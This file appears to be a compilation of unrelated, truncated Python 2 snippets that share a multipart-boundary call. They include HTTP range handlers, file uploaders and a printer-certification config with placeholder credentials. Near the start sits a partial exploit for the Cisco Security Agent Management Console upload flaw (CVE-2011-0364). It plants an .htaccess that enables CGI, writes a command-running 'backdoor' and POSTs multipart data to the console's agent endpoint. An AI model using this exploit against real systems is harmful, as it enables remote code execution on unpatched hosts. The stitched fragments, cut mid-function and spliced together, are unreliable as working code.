'GIF1': os.path.join(image_dir, '6MB.gif'),
'GIF2': os.path.join(image_dir, 'img_0012.gif'),
'GIF3': os.path.join(image_dir, 'poster.gif'),
'GIF4': os.path.join(image_dir, 'Google-Glass.gif'),
'HTML1': os.path.join(image_dir, 'ChromeOSPowerManagementSpec.html'),
'JPG1': os.path.join(image_dir, 'b&w-test.jpg'),
'JPG2': os.path.join(image_dir, 'colorkey.jpg'),
'JPG3': os.path.join(image_dir, 'GoogleArt.jpg'),
'JPG4': os.path.join(image_dir, 'GoogleCampus.jpg'),
'JPG5': os.path.join(image_dir, 'google-car.jpg'),
'JPG6': os.path.join(image_dir, 'GoogleGlass.jpg'),
'JPG7': os.path.join(image_dir, 'GoogleGlass2.jpg'),
'JPG8': os.path.join(image_dir, 'landscape-test.jpg'),
'JPG9': os.path.join(image_dir, 'largeref.jpg'),
'JPG10': os.path.join(image_dir, 'max_test_big.jpg'),
'JPG11': os.path.join(image_dir, 'multitarget5.jpg'),
'JPG12': os.path.join(image_dir, 'brin.jpg'),
'JPG13': os.path.join(image_dir, 'stepchart.jpg'),
'JPG14': os.path.join(image_dir, 'testprint.jpeg'),
'PDF1': os.path.join(image_dir, 'a3color.pdf'),
'PDF1.2': os.path.join(image_dir, 'PDF1.2.pdf'),
'PDF1.3': os.path.join(image_dir, 'PDF1.3.pdf'),
'PDF1.4': os.path.join(image_dir, 'PDF1.4.pdf'),
'PDF1.5': os.path.join(image_dir, 'PDF1.5.pdf'),
'PDF1.6': os.path.join(image_dir, 'PDF1.6.pdf'),
'PDF1.7': os.path.join(image_dir, 'PDF1.7.pdf'),
'PDF2': os.path.join(image_dir, 'boardingpass.pdf'),
'PDF3': os.path.join(image_dir, 'letter_p.pdf'),
'PDF4': os.path.join(image_dir, 'lorem.pdf'),
'PDF5': os.path.join(image_dir, 'malformatted.pdf'),
'PDF6': os.path.join(image_dir, 'margin-test.pdf'),
'PDF7': os.path.join(image_dir, 'noise.pdf'),
'PDF8': os.path.join(image_dir, 'pickrpt.pdf'),
'PDF9': os.path.join(image_dir, 'printtest.pdf'),
'PDF10': os.path.join(image_dir, 'rosemary.pdf'),
'PDF11': os.path.join(image_dir, 'Satake_AE_web.pdf'),
'PDF12': os.path.join(image_dir, 'ticket.pdf'),
'PDF13': os.path.join(image_dir, 'version4pdf.pdf'),
'PDF14': os.path.join(image_dir, 'YourTickets.pdf'),
'PNG1': os.path.join(image_dir, 'A4testpage.png'),
'PNG2': os.path.join(image_dir, 'dna_overview.png'),
'PNG3': os.path.join(image_dir, 'gcpbeta.png'),
'PNG4': os.path.join(image_dir, 'google_logo.png'),
'PNG5': os.path.join(image_dir, 'printtest.png'),
'PNG6': os.path.join(image_dir, 'printtest2.png'),
'PNG7': os.path.join(image_dir, 'testpage.png'),
'PNG8': os.path.join(image_dir, 'larrypage.png'),
'PNG9': os.path.join(image_dir, 'mandlebulb_3d_test.png'),
'SVG1': os.path.join(image_dir, 'DoNotDisturb.svg'),
'SVG2': os.path.join(image_dir, 'Example.svg'),
'TIFF1': os.path.join(image_dir, 'gcpreglink.tif'),
'TIFF2': os.path.join(image_dir, 'marbles.tif'),
}
LOGFILES = '/tmp/logocert/'
OAUTH = 'https://accounts.google.com/o/oauth2/auth'
OAUTH_TOKEN = 'https://www.googleapis.com/oauth2/v3/token'
PRINTER = {
'CERTID': '<certification_id>',
'FIRMWARE': '<Firmware Version>',
'IP': '<ip_address of printer>',
'MANUFACTURER': '<Printer Manufacturer>',
'MODEL': '<Printer Model>',
'NAME': '<Printer Name>',
'PORT': '<integer value of port number of device web service>',
'SERIAL': '<Printer Serial Number>',
'STATUS': '<Released, Internal, ProtoType, Unknown>',
}
TEST = {
'NAME': 'LogoCertification_Results',
'RESULTS': ['Test Case ID', 'Test Case Name', 'Status', 'Notes'],
'SPREADSHEET': True,
}
TESTENV = {
'ANDROID': '<Android Version>',
'CHROME': '<Chrome Version>',
'CHROMEDRIVER': '<Chromedriver version>',
'PYTHON': '<Python Version>',
'OS': '<OS Name>',
'TABLET': '<Tablet Version>',
}
URL = {
'TIMEOUT': 20,
}
USER = {
'CLIENT_ID': '<OAuth2_Client_ID_of_test_account>',
'CLIENT_SECRET': '<OAuth2_Client_Secret_of_test_account>',
'EMAIL': '<*****@*****.**>',
'PW': '<password of test account.>',
}
USER2 = {
'EMAIL': '<*****@*****.**>',
'PW': '<password of 2nd test account>',
}
for value in values:
buffer += '--%s\r\n' % boundary
buffer += 'Content-Disposition: form-data; name="%s"' % key
buffer += '\r\n\r\n' + value + '\r\n'
for (key, fds) in files:
if isinstance(fds, file):
fds = [fds]
for fd in fds:
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
filename = fd.name.split('/')[-1]
contenttype = mimetypes.guess_type(
filename)[0] or 'application/octet-stream'
buffer += '--%s\r\n' % boundary
buffer += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (
key, filename)
buffer += 'Content-Type: %s\r\n' % contenttype
# buffer += 'Content-Length: %s\r\n' % file_size
fd.seek(0)
buffer += '\r\n' + fd.read() + '\r\n'
buffer += '--%s--\r\n\r\n' % boundary
return boundary, buffer
multipart_encode = Callable(multipart_encode)
https_request = http_request
if __name__ == '__main__':
mimetools._prefix = '---------------------------'
print mimetools.choose_boundary()
#!/usr/bin/env python
# Exploits Cisco Security Agent Management Console ‘st_upload’ (CVE-2011-0364)
# gerry eisenhaur <*****@*****.**>
import httplib
import mimetools
import StringIO
_boundary = mimetools.choose_boundary()
_host_uid = 'C087EFAE-05A2-4A0B-9512-E05E5ED84AEB'
_csamc = "192.168.0.108"
# we need to enable some scripting to get command access
htaccess = "Options +Includes +ExecCGI\r\nAddHandler cgi-script gee"
perl_path = "#!c:/program files/cisco/csamc/csamc60/perl/5.8.7/bin/mswin32-x86/perl\r\n",
backdoor = "exec \"calc.exe\";"
def send_request(params=None):
buf = StringIO.StringIO()
headers = {"Content-type": 'multipart/form-data; boundary=%s' % _boundary}
for(key, value) in params.iteritems():
buf.write('--%s\r\n' % _boundary)
buf.write('Content-Disposition: form-data; name="%s"' % key)
buf.write('\r\n\r\n%s\r\n' % value)
buf.write('--' + _boundary + '--\r\n\r\n')
body = buf.getvalue()
conn = httplib.HTTPSConnection(_csamc)
conn.request("POST", "/csamc60/agent", body, headers)
response = conn.getresponse()
def test_boundary(self):
s = sets.Set([""])
for i in xrange(100):
nb = mimetools.choose_boundary()
self.assert_(nb not in s)
s.add(nb)
def serve_file(path, content_type=None, disposition=None, name=None):
"""Set status, headers, and body in order to serve the given file.
The Content-Type header will be set to the content_type arg, if provided.
If not provided, the Content-Type will be guessed by its extension.
If disposition is not None, the Content-Disposition header will be set
to "<disposition>; filename=<name>". If name is None, it will be set
to the basename of path. If disposition is None, no Content-Disposition
header will be written.
"""
response = cherrypy.response
# If path is relative, users should fix it by making path absolute.
# That is, CherryPy should not guess where the application root is.
# It certainly should *not* use cwd (since CP may be invoked from a
# variety of paths). If using tools.static, you can make your relative
# paths become absolute by supplying a value for "tools.static.root".
if not os.path.isabs(path):
raise ValueError("'%s' is not an absolute path." % path)
try:
st = os.stat(path)
except OSError:
raise cherrypy.NotFound()
# Check if path is a directory.
if stat.S_ISDIR(st.st_mode):
# Let the caller deal with it as they like.
raise cherrypy.NotFound()
# Set the Last-Modified response header, so that
# modified-since validation code can work.
response.headers['Last-Modified'] = http.HTTPDate(st.st_mtime)
cptools.validate_since()
if content_type is None:
# Set content-type based on filename extension
ext = ""
i = path.rfind('.')
if i != -1:
ext = path[i:].lower()
content_type = mimetypes.types_map.get(ext, "text/plain")
response.headers['Content-Type'] = content_type
if disposition is not None:
if name is None:
name = os.path.basename(path)
cd = '%s; filename="%s"' % (disposition, name)
response.headers["Content-Disposition"] = cd
# Set Content-Length and use an iterable (file object)
# this way CP won't load the whole file in memory
c_len = st.st_size
bodyfile = open(path, 'rb')
# HTTP/1.0 didn't have Range/Accept-Ranges headers, or the 206 code
if cherrypy.request.protocol >= (1, 1):
response.headers["Accept-Ranges"] = "bytes"
r = http.get_ranges(cherrypy.request.headers.get('Range'), c_len)
if r == []:
response.headers['Content-Range'] = "bytes */%s" % c_len
message = "Invalid Range (first-byte-pos greater than Content-Length)"
raise cherrypy.HTTPError(416, message)
if r:
if len(r) == 1:
# Return a single-part response.
start, stop = r[0]
r_len = stop - start
response.status = "206 Partial Content"
response.headers['Content-Range'] = ("bytes %s-%s/%s" %
(start, stop - 1, c_len))
response.headers['Content-Length'] = r_len
bodyfile.seek(start)
response.body = bodyfile.read(r_len)
else:
# Return a multipart/byteranges response.
response.status = "206 Partial Content"
boundary = mimetools.choose_boundary()
ct = "multipart/byteranges; boundary=%s" % boundary
response.headers['Content-Type'] = ct
if response.headers.has_key("Content-Length"):
# Delete Content-Length header so finalize() recalcs it.
del response.headers["Content-Length"]
def file_ranges():
# Apache compatibility:
yield "\r\n"
for start, stop in r:
yield "--" + boundary
yield "\r\nContent-type: %s" % content_type
yield ("\r\nContent-range: bytes %s-%s/%s\r\n\r\n"
% (start, stop - 1, c_len))
bodyfile.seek(start)
yield bodyfile.read(stop - start)
yield "\r\n"
# Final boundary
yield "--" + boundary + "--"
# Apache compatibility:
yield "\r\n"
response.body = file_ranges()
else:
response.headers['Content-Length'] = c_len
response.body = bodyfile
else:
response.headers['Content-Length'] = c_len
response.body = bodyfile
return response.body
def __init__(self):
self.files = []
self.boundary = mimetools.choose_boundary()
def __init__(self):
self.form_fields = []
self.files = []
self.boundary = mimetools.choose_boundary()
self.content_type = 'multipart/form-data; boundary=%s' % self.boundary
return
def _serve_fileobj(fileobj, content_type, content_length, debug=False):
"""Internal. Set response.body to the given file object, perhaps ranged."""
response = cherrypy.serving.response
request = cherrypy.serving.request
if request.protocol >= (1, 1):
response.headers['Accept-Ranges'] = 'bytes'
r = httputil.get_ranges(request.headers.get('Range'), content_length)
if r == []:
response.headers['Content-Range'] = 'bytes */%s' % content_length
message = 'Invalid Range (first-byte-pos greater than Content-Length)'
if debug:
cherrypy.log(message, 'TOOLS.STATIC')
raise cherrypy.HTTPError(416, message)
if r:
if len(r) == 1:
start, stop = r[0]
if stop > content_length:
stop = content_length
r_len = stop - start
if debug:
cherrypy.log(
'Single part; start: %r, stop: %r' % (start, stop),
'TOOLS.STATIC')
response.status = '206 Partial Content'
response.headers['Content-Range'] = 'bytes %s-%s/%s' % (
start, stop - 1, content_length)
response.headers['Content-Length'] = r_len
fileobj.seek(start)
response.body = file_generator_limited(fileobj, r_len)
else:
response.status = '206 Partial Content'
from mimetools import choose_boundary
boundary = choose_boundary()
ct = 'multipart/byteranges; boundary=%s' % boundary
response.headers['Content-Type'] = ct
if 'Content-Length' in response.headers:
del response.headers['Content-Length']
def file_ranges():
yield ntob('\r\n')
for start, stop in r:
if debug:
cherrypy.log(
'Multipart; start: %r, stop: %r' %
(start, stop), 'TOOLS.STATIC')
yield ntob('--' + boundary, 'ascii')
yield ntob('\r\nContent-type: %s' % content_type,
'ascii')
yield ntob(
'\r\nContent-range: bytes %s-%s/%s\r\n\r\n' %
(start, stop - 1, content_length), 'ascii')
fileobj.seek(start)
for chunk in file_generator_limited(
fileobj, stop - start):
yield chunk
yield ntob('\r\n')
yield ntob('--' + boundary + '--', 'ascii')
yield ntob('\r\n')
response.body = file_ranges()
return response.body
if debug:
cherrypy.log('No byteranges requested', 'TOOLS.STATIC')
response.headers['Content-Length'] = content_length
response.body = fileobj
return response.body
def put_blobs(self, blobs):
"""Puts a set of blobs.
Args:
blobs: List of (data, blobref) tuples; list of open files; or list of
blob data strings.
Returns:
The set of blobs that were actually uploaded. If all blobs are already
present this set will be empty.
Raises:
ServerError if the server response is bad.
PayloadError if the server response is not in the right format.
OSError or IOError if reading any blobs breaks.
"""
if isinstance(blobs, dict):
raise TypeError(
'Must pass iterable of tuples, open files, or strings.')
blobref_dict = {}
for item in blobs:
if isinstance(item, tuple):
blob, blobref = item
else:
blob, blobref = item, None
if blobref is None:
blobref = 'sha1-' + buffered_sha1(blob,
buffer_size=self.buffer_size)
blobref_dict[blobref] = blob
preupload = {'camliversion': '1'}
for index, blobref in enumerate(blobref_dict.keys()):
preupload['blob%d' % (index + 1)] = blobref
# TODO: What is the max number of blobs that can be specified in a
# preupload request? The server probably has some reasonable limit and
# after that we need to do batching in smaller groups.
self._setup_connection()
self.connection.request(
'POST', '/camli/preupload', urllib.urlencode(preupload), {
'Content-Type': 'application/x-www-form-urlencoded',
'Authorization': self._authorization
})
response = self.connection.getresponse()
logging.debug('Preupload HTTP response: %d %s', response.status,
response.reason)
if response.status != 200:
raise ServerError('Bad preupload response status: %d %s' %
(response.status, response.reason))
data = response.read()
try:
response_dict = simplejson.loads(data)
except simplejson.decoder.JSONDecodeError:
raise PayloadError('Server returned bad preupload response: %r' %
data)
logging.debug('Parsed preupload response: %r', response_dict)
if 'alreadyHave' not in response_dict:
raise PayloadError(
'Could not find "alreadyHave" in preupload response: %r' %
response_dict)
if 'uploadUrl' not in response_dict:
raise PayloadError(
'Could not find "uploadUrl" in preupload response: %r' %
response_dict)
already_have_blobrefs = set()
for blobref_json in response_dict['alreadyHave']:
if 'blobRef' not in blobref_json:
raise PayloadError(
'Cannot find "blobRef" in preupload response: %r',
response_dict)
already_have_blobrefs.add(blobref_json['blobRef'])
logging.debug('Already have blobs: %r', already_have_blobrefs)
missing_blobrefs = set(blobref_dict.iterkeys())
missing_blobrefs.difference_update(already_have_blobrefs)
if not missing_blobrefs:
logging.debug('All blobs already present.')
return
# TODO(bslatkin): Figure out the 'Content-Length' header value by looking
# at the size of the files by seeking; required for multipart POST.
out = cStringIO.StringIO()
boundary = mimetools.choose_boundary()
boundary_start = '--' + boundary
blob_number = 0
for blobref in blobref_dict.iterkeys():
if blobref in already_have_blobrefs:
logging.debug('Already have blobref=%s', blobref)
continue
blob = blobref_dict[blobref]
blob_number += 1
out.write(boundary_start)
out.write('\r\nContent-Type: application/octet-stream\r\n')
out.write('Content-Disposition: form-data; name="%s"; '
'filename="%d"\r\n\r\n' % (blobref, blob_number))
if isinstance(blob, basestring):
out.write(blob)
else:
while True:
buf = blob.read(self.buffer_size)
if buf == '':
break
out.write(buf)
out.write('\r\n')
out.write(boundary_start)
out.write('--\r\n')
request_body = out.getvalue()
pieces = list(urlparse.urlparse(response_dict['uploadUrl']))
# TODO: Support upload servers on another base URL.
pieces[0], pieces[1] = '', ''
relative_url = urlparse.urlunparse(pieces)
self.connection.request(
'POST', relative_url, request_body, {
'Content-Type':
'multipart/form-data; boundary="%s"' % boundary,
'Content-Length': str(len(request_body)),
'Authorization': self._authorization
})
response = self.connection.getresponse()
logging.debug('Upload response: %d %s', response.status,
response.reason)
if response.status not in (200, 301, 302, 303):
raise ServerError('Bad upload response status: %d %s' %
(response.status, response.reason))
while response.status in (301, 302, 303):
# TODO(bslatkin): Support connections to servers on different addresses
# after redirects. For now just send another request to the same server.
location = response.getheader('Location')
pieces = list(urlparse.urlparse(location))
pieces[0], pieces[1] = '', ''
new_relative_url = urlparse.urlunparse(pieces)
logging.debug('Redirect %s -> %s', relative_url, new_relative_url)
relative_url = new_relative_url
self.connection.request('GET', relative_url)
response = self.connection.getresponse()
if response.status != 200:
raise ServerError('Bad upload response status: %d %s' %
(response.status, response.reason))
data = response.read()
try:
response_dict = simplejson.loads(data)
except simplejson.decoder.JSONDecodeError:
raise PayloadError('Server returned bad upload response: %r' %
data)
if 'received' not in response_dict:
raise PayloadError(
'Could not find "received" in upload response: %r' %
response_dict)
received_blobrefs = set()
for blobref_json in response_dict['received']:
if 'blobRef' not in blobref_json:
raise PayloadError(
'Cannot find "blobRef" in upload response: %r',
response_dict)
received_blobrefs.add(blobref_json['blobRef'])
logging.debug('Received blobs: %r', received_blobrefs)
missing_blobrefs.difference_update(received_blobrefs)
if missing_blobrefs:
# TODO: Try to upload the missing ones.
raise ServerError('Some blobs not uploaded: %r', missing_blobrefs)
logging.debug('Upload of %d blobs successful.', len(blobref_dict))
return received_blobrefs
def _range_request_handler(self, REQUEST, RESPONSE):
# HTTP Range header handling: return True if we've served a range
# chunk out of our data.
range = REQUEST.get_header('Range', None)
request_range = REQUEST.get_header('Request-Range', None)
if request_range is not None:
# Netscape 2 through 4 and MSIE 3 implement a draft version
# Later on, we need to serve a different mime-type as well.
range = request_range
if_range = REQUEST.get_header('If-Range', None)
if range is not None:
ranges = HTTPRangeSupport.parseRange(range)
if if_range is not None:
# Only send ranges if the data isn't modified, otherwise send
# the whole object. Support both ETags and Last-Modified dates!
if len(if_range) > 1 and if_range[:2] == 'ts':
# ETag:
if if_range != self.http__etag():
# Modified, so send a normal response. We delete
# the ranges, which causes us to skip to the 200
# response.
ranges = None
else:
# Date
date = if_range.split(';')[0]
try:
mod_since = long(DateTime(date).timeTime())
except:
mod_since = None
if mod_since is not None:
if self._p_mtime:
last_mod = long(self._p_mtime)
else:
last_mod = long(0)
if last_mod > mod_since:
# Modified, so send a normal response. We delete
# the ranges, which causes us to skip to the 200
# response.
ranges = None
if ranges:
# Search for satisfiable ranges.
satisfiable = 0
for start, end in ranges:
if start < self.size:
satisfiable = 1
break
if not satisfiable:
RESPONSE.setHeader('Content-Range',
'bytes */%d' % self.size)
RESPONSE.setHeader('Accept-Ranges', 'bytes')
RESPONSE.setHeader('Last-Modified',
rfc1123_date(self._p_mtime))
RESPONSE.setHeader('Content-Type', self.content_type)
RESPONSE.setHeader('Content-Length', self.size)
RESPONSE.setStatus(416)
return True
ranges = HTTPRangeSupport.expandRanges(ranges, self.size)
if len(ranges) == 1:
# Easy case, set extra header and return partial set.
start, end = ranges[0]
size = end - start
RESPONSE.setHeader('Last-Modified',
rfc1123_date(self._p_mtime))
RESPONSE.setHeader('Content-Type', self.content_type)
RESPONSE.setHeader('Content-Length', size)
RESPONSE.setHeader('Accept-Ranges', 'bytes')
RESPONSE.setHeader(
'Content-Range',
'bytes %d-%d/%d' % (start, end - 1, self.size))
RESPONSE.setStatus(206) # Partial content
data = self.data
if isinstance(data, str):
RESPONSE.write(data[start:end])
return True
# Linked Pdata objects. Urgh.
pos = 0
while data is not None:
l = len(data.data)
pos = pos + l
if pos > start:
# We are within the range
lstart = l - (pos - start)
if lstart < 0: lstart = 0
# find the endpoint
if end <= pos:
lend = l - (pos - end)
# Send and end transmission
RESPONSE.write(data[lstart:lend])
break
# Not yet at the end, transmit what we have.
RESPONSE.write(data[lstart:])
data = data.next
return True
else:
boundary = choose_boundary()
# Calculate the content length
size = (
8 + len(boundary) + # End marker length
len(ranges) * ( # Constant lenght per set
49 + len(boundary) + len(self.content_type) +
len('%d' % self.size)))
for start, end in ranges:
# Variable length per set
size = (size + len('%d%d' % (start, end - 1)) + end -
start)
# Some clients implement an earlier draft of the spec, they
# will only accept x-byteranges.
draftprefix = (request_range is not None) and 'x-' or ''
RESPONSE.setHeader('Content-Length', size)
RESPONSE.setHeader('Accept-Ranges', 'bytes')
RESPONSE.setHeader('Last-Modified',
rfc1123_date(self._p_mtime))
RESPONSE.setHeader(
'Content-Type', 'multipart/%sbyteranges; boundary=%s' %
(draftprefix, boundary))
RESPONSE.setStatus(206) # Partial content
data = self.data
# The Pdata map allows us to jump into the Pdata chain
# arbitrarily during out-of-order range searching.
pdata_map = {}
pdata_map[0] = data
for start, end in ranges:
RESPONSE.write('\r\n--%s\r\n' % boundary)
RESPONSE.write('Content-Type: %s\r\n' %
self.content_type)
RESPONSE.write(
'Content-Range: bytes %d-%d/%d\r\n\r\n' %
(start, end - 1, self.size))
if isinstance(data, str):
RESPONSE.write(data[start:end])
else:
# Yippee. Linked Pdata objects. The following
# calculations allow us to fast-forward through the
# Pdata chain without a lot of dereferencing if we
# did the work already.
first_size = len(pdata_map[0].data)
if start < first_size:
closest_pos = 0
else:
closest_pos = ((
(start - first_size) >> 16 << 16) +
first_size)
pos = min(closest_pos, max(pdata_map.keys()))
data = pdata_map[pos]
while data is not None:
l = len(data.data)
pos = pos + l
if pos > start:
# We are within the range
lstart = l - (pos - start)
if lstart < 0: lstart = 0
# find the endpoint
if end <= pos:
lend = l - (pos - end)
# Send and loop to next range
RESPONSE.write(data[lstart:lend])
break
# Not yet at the end, transmit what we have.
RESPONSE.write(data[lstart:])
data = data.next
# Store a reference to a Pdata chain link so we
# don't have to deref during this request again.
pdata_map[pos] = data
# Do not keep the link references around.
del pdata_map
RESPONSE.write('\r\n--%s--\r\n' % boundary)
return True
def do_request_(self, request):
host = request.get_host()
if not host:
raise URLError('no host given')
data = request.get_data()
v_files = []
v_vars = []
if request.has_data() and not isinstance(data, str): #POST
if hasattr(data, 'items'):
data = data.items()
else:
try:
if len(data) and not isinstance(data[0], tuple):
raise TypeError
except TypeError:
_ty, _va, tb = sys.exc_info()
try:
raise TypeError, "not a valid non-string sequence or mapping object: %r" % type(
data), tb
finally:
del tb
for (k, v) in data:
if hasattr(v, 'read'):
v_files.append((k, v))
else:
v_vars.append((k, v))
boundary = mimetools.choose_boundary()
request.boundary = boundary
request.v_files = v_files
request.v_vars = v_vars
# no file ? convert to string
if len(v_vars) > 0 and len(v_files) == 0:
request.data = data = urllib.urlencode(v_vars)
v_files[:] = []
v_vars[:] = []
if request.has_data():
if not 'Content-type' in request.headers:
if len(v_files) > 0:
l = send_data(v_vars, v_files, boundary)
request.add_unredirected_header(
'Content-Type',
'multipart/form-data; boundary=%s' % boundary)
request.add_unredirected_header('Content-length', str(l))
else:
request.add_unredirected_header(
'Content-type', 'application/x-www-form-urlencoded')
if not 'Content-length' in request.headers:
request.add_unredirected_header('Content-length',
'%d' % len(data))
_scheme, sel = splittype(request.get_selector())
sel_host, _sel_path = splithost(sel)
if not request.has_header('Host'):
request.add_unredirected_header('Host', sel_host or host)
for name, value in self.parent.addheaders:
name = name.capitalize()
if not request.has_header(name):
request.add_unredirected_header(name, value)
return request
def upload(self, filename=None, jpegData=None, **arg):
"""Upload a file to flickr.
Be extra careful you spell the parameters correctly, or you will
get a rather cryptic "Invalid Signature" error on the upload!
Supported parameters:
One of filename or jpegData must be specified by name when
calling this method:
filename -- name of a file to upload
jpegData -- array of jpeg data to upload
api_key
auth_token
title
description
tags -- space-delimited list of tags, "tag1 tag2 tag3"
is_public -- "1" or "0"
is_friend -- "1" or "0"
is_family -- "1" or "0"
"""
if filename == None and jpegData == None or \
filename != None and jpegData != None:
raise UploadException("filename OR jpegData must be specified")
# verify key names
for a in arg.keys():
if a != "api_key" and a != "auth_token" and a != "title" and \
a != "description" and a != "tags" and a != "is_public" and \
a != "is_friend" and a != "is_family":
sys.stderr.write("FlickrAPI: warning: unknown parameter " \
"\"%s\" sent to FlickrAPI.upload\n" % (a))
arg["api_sig"] = self.__sign(arg)
url = "http://" + FlickrAPI.flickrHost + FlickrAPI.flickrUploadForm
# construct POST data
boundary = mimetools.choose_boundary()
body = ""
# required params
for a in ('api_key', 'auth_token', 'api_sig'):
body += "--%s\r\n" % (boundary)
body += "Content-Disposition: form-data; name=\"" + a + "\"\r\n\r\n"
body += "%s\r\n" % (arg[a])
# optional params
for a in ('title', 'description', 'tags', 'is_public', \
'is_friend', 'is_family'):
if arg.has_key(a):
body += "--%s\r\n" % (boundary)
body += "Content-Disposition: form-data; name=\"" + a + "\"\r\n\r\n"
body += "%s\r\n" % (arg[a])
body += "--%s\r\n" % (boundary)
body += "Content-Disposition: form-data; name=\"photo\";"
body += " filename=\"%s\"\r\n" % filename
body += "Content-Type: image/jpeg\r\n\r\n"
#print body
if filename != None:
fp = file(filename, "rb")
data = fp.read()
fp.close()
else:
data = jpegData
postData = body.encode("utf_8") + data + \
("--%s--" % (boundary)).encode("utf_8")
request = urllib2.Request(url)
request.add_data(postData)
request.add_header("Content-Type", \
"multipart/form-data; boundary=%s" % boundary)
response = urllib2.urlopen(request)
rspXML = response.read()
return XMLNode.parseXML(rspXML)
def _range_request_handler(self, REQUEST, RESPONSE):
RESPONSE.setHeader("Content-Type", "application/octet-stream")
# HTTP Range header handling: return True if we've served a range
# chunk out of our data.
# convert ranges from bytes to array indices
slice_index = REQUEST.get('slice_index', None)
if slice_index is not None:
slice_index_list = []
for index in slice_index:
slice_index_list.append(slice(index.get('start'),
index.get('stop'),
index.get('step')))
list_index = REQUEST.get('list_index', None)
if list_index is not None:
RESPONSE.write(self.getArray()[tuple(slice_index_list)][list_index].tobytes())
else:
RESPONSE.write(self.getArray()[tuple(slice_index_list)].tobytes())
return True
range = REQUEST.get_header('Range', None)
request_range = REQUEST.get_header('Request-Range', None)
if request_range is not None:
# Netscape 2 through 4 and MSIE 3 implement a draft version
# Later on, we need to serve a different mime-type as well.
range = request_range
if_range = REQUEST.get_header('If-Range', None)
if range is not None:
ranges = HTTPRangeSupport.parseRange(range)
array = self.getArray()
factor = array.nbytes / array.shape[0]
if if_range is not None:
# Only send ranges if the data isn't modified, otherwise send
# the whole object. Support both ETags and Last-Modified dates!
if len(if_range) > 1 and if_range[:2] == 'ts':
# ETag:
if if_range != self.http__etag():
# Modified, so send a normal response. We delete
# the ranges, which causes us to skip to the 200
# response.
ranges = None
else:
# Date
date = if_range.split( ';')[0]
try: mod_since=long(DateTime(date).timeTime())
except: mod_since=None
if mod_since is not None:
last_mod = self._data_mtime()
if last_mod is None:
last_mod = 0
last_mod = long(last_mod)
if last_mod > mod_since:
# Modified, so send a normal response. We delete
# the ranges, which causes us to skip to the 200
# response.
ranges = None
if ranges:
# Search for satisfiable ranges.
satisfiable = 0
for start, end in ranges:
if start < self.getSize():
satisfiable = 1
break
if not satisfiable:
RESPONSE.setHeader('Content-Range',
'bytes */%d' % self.getSize())
RESPONSE.setHeader('Accept-Ranges', 'bytes')
RESPONSE.setHeader('Last-Modified', rfc1123_date(self._data_mtime()))
RESPONSE.setHeader('Content-Type', self.content_type)
RESPONSE.setHeader('Content-Length', self.getSize())
RESPONSE.setStatus(416)
return True
ranges = HTTPRangeSupport.expandRanges(ranges, self.getSize())
if len(ranges) == 1:
# Easy case, set extra header and return partial set.
start, end = ranges[0]
size = end - start
RESPONSE.setHeader('Last-Modified', rfc1123_date(self._data_mtime()))
RESPONSE.setHeader('Content-Type', self.content_type)
RESPONSE.setHeader('Content-Length', size)
RESPONSE.setHeader('Accept-Ranges', 'bytes')
RESPONSE.setHeader('Content-Range',
'bytes %d-%d/%d' % (start, end - 1, self.getSize()))
RESPONSE.setStatus(206) # Partial content
# convert ranges from bytes to array indices
RESPONSE.write(array[start/factor:end/factor].tobytes())
else:
boundary = choose_boundary()
# Calculate the content length
size = (8 + len(boundary) + # End marker length
len(ranges) * ( # Constant lenght per set
49 + len(boundary) + len(self.content_type) +
len('%d' % self.getSize())))
for start, end in ranges:
# Variable length per set
size = (size + len('%d%d' % (start, end - 1)) +
end - start)
# Some clients implement an earlier draft of the spec, they
# will only accept x-byteranges.
draftprefix = (request_range is not None) and 'x-' or ''
RESPONSE.setHeader('Content-Length', size)
RESPONSE.setHeader('Accept-Ranges', 'bytes')
RESPONSE.setHeader('Last-Modified', rfc1123_date(self._data_mtime()))
RESPONSE.setHeader('Content-Type',
'multipart/%sbyteranges; boundary=%s' % (
draftprefix, boundary))
RESPONSE.setStatus(206) # Partial content
for start, end in ranges:
RESPONSE.write('\r\n--%s\r\n' % boundary)
RESPONSE.write('Content-Type: %s\r\n' %
self.content_type)
RESPONSE.write(
'Content-Range: bytes %d-%d/%d\r\n\r\n' % (
start, end - 1, self.getSize()))
# convert ranges from bytes to array indices
RESPONSE.write(array[start/factor:end/factor].tobytes())
RESPONSE.write('\r\n--%s--\r\n' % boundary)
return True
def do_open(self, http_class, req):
data = req.get_data()
v_files = []
v_vars = []
# mapping object (dict)
if req.has_data() and type(data) != str:
if hasattr(data, 'items'):
data = data.items()
else:
try:
if len(data) and not isinstance(data[0], tuple):
raise TypeError
except TypeError:
ty, va, tb = sys.exc_info()
raise TypeError, "not a valid non-string sequence or mapping object", tb
for (k, v) in data:
# if fd is provided with a filename
if isinstance(v, dict):
if not v.has_key('fd'):
raise TypeError(
"if value is dict, it must have keys 'fd' and 'filename"
)
if not v.has_key('filename'):
raise TypeError(
"if value is dict, it must have keys 'fd' and 'filename"
)
v_files.append((k, v))
elif hasattr(v, 'read'):
v_files.append((k, v))
else:
v_vars.append((k, v))
# no file ? convert to string
if len(v_vars) > 0 and len(v_files) == 0:
data = urllib.urlencode(v_vars)
v_files = []
v_vars = []
host = req.get_host()
if not host:
raise urllib2.URLError('no host given')
h = http_class(host) # will parse host:port
if req.has_data():
h.putrequest(req.get_method(), req.get_selector())
if not 'Content-type' in req.headers:
if len(v_files) > 0:
boundary = mimetools.choose_boundary()
l = send_data(v_vars, v_files, boundary)
h.putheader('Content-Type',
'multipart/form-data; boundary=%s' % boundary)
h.putheader('Content-length', str(l))
else:
h.putheader('Content-type',
'application/x-www-form-urlencoded')
if not 'Content-length' in req.headers:
h.putheader('Content-length', '%d' % len(data))
else:
h.putrequest(req.get_method(), req.get_selector())
scheme, sel = urllib.splittype(req.get_selector())
sel_host, sel_path = urllib.splithost(sel)
h.putheader('Host', sel_host or host)
for name, value in self.parent.addheaders:
name = name.capitalize()
if name not in req.headers:
h.putheader(name, value)
for k, v in req.headers.items():
h.putheader(k, v)
# httplib will attempt to connect() here. be prepared
# to convert a socket error to a URLError.
try:
h.endheaders()
except socket.error, err:
raise urllib2.URLError(err)
def _init_request(self, url):
self.post_files = []
self._boundary = '-' * 16 + mimetools.choose_boundary()
PostRequest._init_request(self, url)
